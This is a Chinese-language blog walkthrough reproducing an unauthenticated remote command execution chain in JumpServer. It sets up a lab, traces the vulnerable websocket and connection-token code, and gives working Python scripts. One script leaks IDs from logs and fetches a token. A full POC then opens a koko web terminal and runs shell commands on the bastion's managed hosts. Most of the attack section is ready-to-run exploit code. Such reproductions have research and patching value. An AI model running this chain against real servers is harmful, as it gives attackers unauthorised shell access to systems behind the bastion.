一、环境搭建
首先。安装
安装脚本V2.6.1 https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip
github 安装脚本全部是安装最新版的。
安装的时候注意几个坑。
这里全部选择no
然后安装完成之后启动它 到安装目录:/opt/jumpserver-installer-v2.6.1/
访问jumpServer
默认账号是admin admin 进入之后修改密码
然后进入添加一台主机
然后进入web终端
选择你之前添加的主机进行登陆
二、获取token
首先是找到那个修改bug 的点
https://github.com/jumpserver/jumpserver/commits/master
然后对比一下代码。
https://githistory.xyz/jumpserver/jumpserver/blob/db6f7f66b2e5e557081cb561029f64af0a1f80c4/apps/ops/ws.py
之前的代码是没有认证的。那么先找到这个路由 。
源代码如下:https://www.o2oxy.cn/wp-content/uploads/2021/01/aa.zip
一:找到路由的使用方式
全局搜索CeleryLogWebsocket 这个函数。然后得到如下的websocket 的路由
尝试连接此路由 未授权连结websocket 可以连接成功。
看看这个函数具体的处理过程
import time
import os
import threading
import json
from common.utils import get_logger
from .celery.utils import get_celery_task_log_path
from channels.generic.websocket import JsonWebsocketConsumer
logger = get_logger(__name__)
class CeleryLogWebsocket(JsonWebsocketConsumer):
disconnected = False
def connect(self):
self.accept()
def wait_util_log_path_exist(self, task_id):
log_path = get_celery_task_log_path(task_id)
while not self.disconnected:
if not os.path.exists(log_path):
self.send_json({'message': '.', 'task': task_id})
time.sleep(0.5)
continue
self.send_json({'message': '\r\n'})
try:
logger.debug('Task log path: {}'.format(log_path))
task_log_f = open(log_path, 'rb')
return task_log_f
except OSError:
return None
def read_log_file(self, task_id):
task_log_f = self.wait_util_log_path_exist(task_id)
if not task_log_f:
logger.debug('Task log file is None: {}'.format(task_id))
return
task_end_mark = []
while not self.disconnected:
data = task_log_f.read(4096)
if data:
data = data.replace(b'\n', b'\r\n')
self.send_json(
{'message': data.decode(errors='ignore'), 'task': task_id}
)
if data.find(b'succeeded in') != -1:
task_end_mark.append(1)
if data.find(bytes(task_id, 'utf8')) != -1:
task_end_mark.append(1)
elif len(task_end_mark) == 2:
logger.debug('Task log end: {}'.format(task_id))
break
time.sleep(0.2)
task_log_f.close()
def handle_task(self, task_id):
logger.info("Task id: {}".format(task_id))
thread = threading.Thread(target=self.read_log_file, args=(task_id,))
thread.start()
def disconnect(self, close_code):
self.disconnected = True
self.close()
这里是只能获取log 后缀的一个文件。
然后就通过传递task 参数传递一个文件名就可以获取到log文件的内容如下:
再查看jumpserver.log 中 存在system_user user 和asset的信息。这些信息。
{'user': '4320ce47-e0e0-4b86-adb1-675ca611ea0c', 'username': 'test2', 'asset': 'ccb9c6d7-6221-445e-9fcc-b30c95162825', 'hostname': '192.168.1.73', 'system_user': '79655e4e-1741-46af-a793-fff394540a52'}
正好是apps/authentication/api/auth.py 认证系统所需要的值。
代码如下:
# -*- coding: utf-8 -*-
#
import uuid
from django.core.cache import cache
from django.shortcuts import get_object_or_404
from rest_framework.permissions import AllowAny
from rest_framework.response import Response
from rest_framework.views import APIView
from common.utils import get_logger
from common.permissions import IsOrgAdminOrAppUser
from orgs.mixins.api import RootOrgViewMixin
from users.models import User
from assets.models import Asset, SystemUser
logger = get_logger(__name__)
__all__ = [
'UserConnectionTokenApi',
]
class UserConnectionTokenApi(RootOrgViewMixin, APIView):
permission_classes = (IsOrgAdminOrAppUser,)
def post(self, request):
user_id = request.data.get('user', '')
asset_id = request.data.get('asset', '')
system_user_id = request.data.get('system_user', '')
token = str(uuid.uuid4())
user = get_object_or_404(User, id=user_id)
asset = get_object_or_404(Asset, id=asset_id)
system_user = get_object_or_404(SystemUser, id=system_user_id)
value = {
'user': user_id,
'username': user.username,
'asset': asset_id,
'hostname': asset.hostname,
'system_user': system_user_id,
'system_user_name': system_user.name
}
cache.set(token, value, timeout=20)
return Response({"token": token}, status=201)
def get(self, request):
token = request.query_params.get('token')
user_only = request.query_params.get('user-only', None)
value = cache.get(token, None)
if not value:
return Response('', status=404)
if not user_only:
return Response(value)
else:
return Response({'user': value['user']})
def get_permissions(self):
if self.request.query_params.get('user-only', None):
self.permission_classes = (AllowAny,)
return super().get_permissions()
首先找到这个函数的路由
找到users 路由中的一条路由。
拼接一下整体的路由如下:
/api/v1/authentication/connection-token/
/api/v1/users/connection-token/
那么先查看一下他的代码逻辑
GET 需要user-only 参数
post 需要三个参数:user asset system_user
然后返回一个20S 的一个token
def post(self, request):
user_id = request.data.get('user', '')
asset_id = request.data.get('asset', '')
system_user_id = request.data.get('system_user', '')
token = str(uuid.uuid4())
user = get_object_or_404(User, id=user_id)
asset = get_object_or_404(Asset, id=asset_id)
system_user = get_object_or_404(SystemUser, id=system_user_id)
value = {
'user': user_id,
'username': user.username,
'asset': asset_id,
'hostname': asset.hostname,
'system_user': system_user_id,
'system_user_name': system_user.name
}
cache.set(token, value, timeout=20)
return Response({"token": token}, status=201)
写了一个获取token脚本如下: 这三个值是从log 中获取的
import requests
import json
data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}
url_host='http://192.168.1.73:8080'
def get_token():
url = url_host+'/api/v1/users/connection-token/?user-only=1'
response = requests.post(url, json=data).json()
print(response)
return response['token']
get_token()
20S 真男人。
三、代码执行。
一直翻看core 的代码。始终找不到web 终端的代码。有点迷。最后还是靠着360安全忍者师傅的代码弄清楚了真相。
感谢郁离歌师傅。感谢360安全忍者师傅
web 终端的代码执行是通过中间件的形式转发给后端koko 的。所以一直找不到koko 的代码在哪里
后端代码如下:
https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/webserver.go
跟踪一下processTokenWebsocket 函数
func (s *server) processTokenWebsocket(ctx *gin.Context) {
tokenId, _ := ctx.GetQuery("target_id")
tokenUser := service.GetTokenAsset(tokenId)
if tokenUser.UserID == "" {
logger.Errorf("Token is invalid: %s", tokenId)
ctx.AbortWithStatus(http.StatusBadRequest)
return
}
currentUser := service.GetUserDetail(tokenUser.UserID)
if currentUser == nil {
logger.Errorf("Token userID is invalid: %s", tokenUser.UserID)
ctx.AbortWithStatus(http.StatusBadRequest)
return
}
targetType := TargetTypeAsset
targetId := strings.ToLower(tokenUser.AssetID)
systemUserId := tokenUser.SystemUserID
s.runTTY(ctx, currentUser, targetType, targetId, systemUserId)
}
跟踪一下GetTokenAsset
func GetTokenAsset(token string) (tokenUser model.TokenUser) {
Url := fmt.Sprintf(TokenAssetURL, token)
_, err := authClient.Get(Url, &tokenUser)
if err != nil {
logger.Error("Get Token Asset info failed: ", err)
}
return
}
发现也没有做任何的身份认证。尝试连接一下
发现是可以连接。参数构造的话。返回到koko 中。看看登陆到执行一个whoami 看看websocket 怎么发包的
首先是ID +data 进行登陆。
然后是发送命令
尝试在客户端发送试试
发现有点慢。改成python 连接一下。
改一下输出格式
POC 如下:
import asyncio
import websockets
import requests
import json
# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)
recv_text = await websocket.recv()
#print(f"{recv_text}")
#recv_text=json.loads(recv_text)
# print(recv_text['data'])
async def main_logic(cmd):
print("#######start ws")
async with websockets.connect(target) as websocket:
recv_text = await websocket.recv()
print(f"{recv_text}")
resws=json.loads(recv_text)
id = resws['id']
print("get ws id:"+id)
print("###############")
print("init ws")
print("###############")
inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
await send_msg(websocket,inittext)
for i in range(20):
recv_text = await websocket.recv()
#recv_text=json.loads(recv_text)
# print(f"{recv_text['data']}")
print("###############")
print("exec cmd: %s"%cmd)
cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
print(cmdtext)
await send_msg(websocket, cmdtext)
for i in range(20):
recv_text = await websocket.recv()
recv_text=json.loads(recv_text)
print(recv_text['data'])
print('#######finish')
url = "/api/v1/authentication/connection-token/?user-only=None"
host="http://192.168.1.73:8080"
cmd="ifconfig"
if host[-1]=='/':
host=host[:-1]
print(host)
data = {"user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c", "asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825",
"system_user": "79655e4e-1741-46af-a793-fff394540a52"}
print("##################")
print("get token url:%s" % (host + url,))
print("##################")
res = requests.post(host + url, json=data)
token = res.json()["token"]
print("token:%s", (token,))
print("##################")
target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
print("target ws:%s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic(cmd))
参考:
https://github.com/jumpserver/jumpserver
https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw